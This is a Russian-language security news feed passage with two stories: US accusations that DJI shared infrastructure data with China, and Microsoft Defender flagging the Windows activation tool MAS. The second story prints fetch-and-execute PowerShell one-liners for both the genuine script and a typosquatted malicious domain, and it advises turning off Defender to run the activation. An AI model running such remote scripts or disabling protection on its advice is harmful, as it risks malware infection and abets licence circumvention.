DJI обвиняется в передаче секретной информации китайскому правительству

DJI обвиняется в передаче секретной информации китайскому правительству

DJI обвиняется в передаче секретной информации китайскому правительству

DJI, один из ведущих производителей беспилотных летательных аппаратов, обвиняется американскими властями в предоставлении китайской власти важных данных об инфраструктуре и правоохранительных органах США.

США обвиняет китайское правительство в «использовании системы беспилотных летательных аппаратов DJI» в качестве недорого метода сбора данных важнейших ресурсов США. Утверждается, что эта деятельность осуществляется с 2015 года.

По состоянию на июль 2017 года, как минимум десять крупных организаций, работающих в секторах железных дорог, коммунальных служб, средств массовой информации, сельского хозяйства, образования и федерального законодательства, уже приобрели и начали использовать дроны DJI.

Представители DJI категорически отрицают предъявленные обвинения. Например, компания отмечает, что не заставляет своих клиентов загружать видеоролики на серверы компании, у нее есть доступ только к тем видео, которыми клиенты поделились сами.

С этим трудно спорить, однако следует отметить, что DJI, как и многие другие современные производители электроники, предлагает пользователям возможность хранить видео на серверах компании, то является неким побуждением к действию, считают некоторые эксперты.

Ранее в этом месяце DJI столкнулась с еще одним неприятным инцидентом — оказалось, что производитель дронов DJI хранил закрытые SSL-ключи 4 года публично.

Microsoft Defender посчитал MAS вредоносом и заблокировал активацию Windows

Microsoft, похоже, решила всерьёз взяться за Microsoft Activation Scripts (MAS) — популярный инструмент с открытым исходным кодом для активации Windows. Компания знает, что под именем MAS в Сети давно распространяются фейковые сайты и зловредные скрипты, и начала автоматически блокировать их с помощью Microsoft Defender. Проблема в том, что под раздачу внезапно попал и настоящий MAS.

Пользователи заметили, что при попытке запустить команду активации через PowerShell система резко обрывает процесс, а Defender помечает скрипт как угрозу с детектом Trojan:PowerShell/FakeMas.DA!MTB.

Выглядит тревожно — но, судя по всему, это обычное ложноположительное срабатывание, а не целенаправленная «война» Microsoft с оригинальным проектом.

Важно понимать контекст. Совсем недавно разработчики MAS сами подтвердили, что в Сети появились поддельные сайты, распространяющие вредоносные версии скрипта. И вся разница между настоящей и фишинговой командой — в одном символе домена:

  • Оригинальный MAS:
    irm https://get.activated.win | iex
  • Вредоносная подделка:
    irm https://get.activate.win | iex
    (без буквы d)

По всей видимости, Microsoft добавила в чёрный список слишком широкий набор доменов — и вместе с фейком заблокировала легитимный адрес. Ирония ситуации в том, что антивирус может мешать безопасному скрипту, тогда как фишинговый вариант теоретически мог остаться незамеченным.

На данный момент пользователям, у которых Defender включён (а он активен по умолчанию), приходится временно отключать защиту в Центре безопасности, выполнять активацию и сразу же включать защиту обратно. Решение не самое приятное, но рабочее — при одном важном условии.

Критически важно внимательно проверять домен. Отключать защиту и запускать фишинговый скрипт — это прямой путь к заражению системы, утечке данных и другим крайне неприятным последствиям.

Скорее всего, Microsoft исправит фильтрацию в одном из ближайших обновлений сигнатур Defender.

RSS: Новости на портале Anti-Malware.ru